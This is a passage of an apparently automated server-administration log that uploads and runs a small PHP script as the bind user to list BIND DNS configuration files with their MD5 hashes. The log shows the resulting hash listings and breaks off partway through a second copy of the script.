MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:33:06: Establishing a connection
2026-04-25 10:33:06: 

PUT: /tmp/pkp394510

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:33:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp394510; rm /tmp/pkp394510'

2026-04-25 10:33:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:33:08: Establishing a connection
2026-04-25 10:33:08: 

PUT: /tmp/pkp211968

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
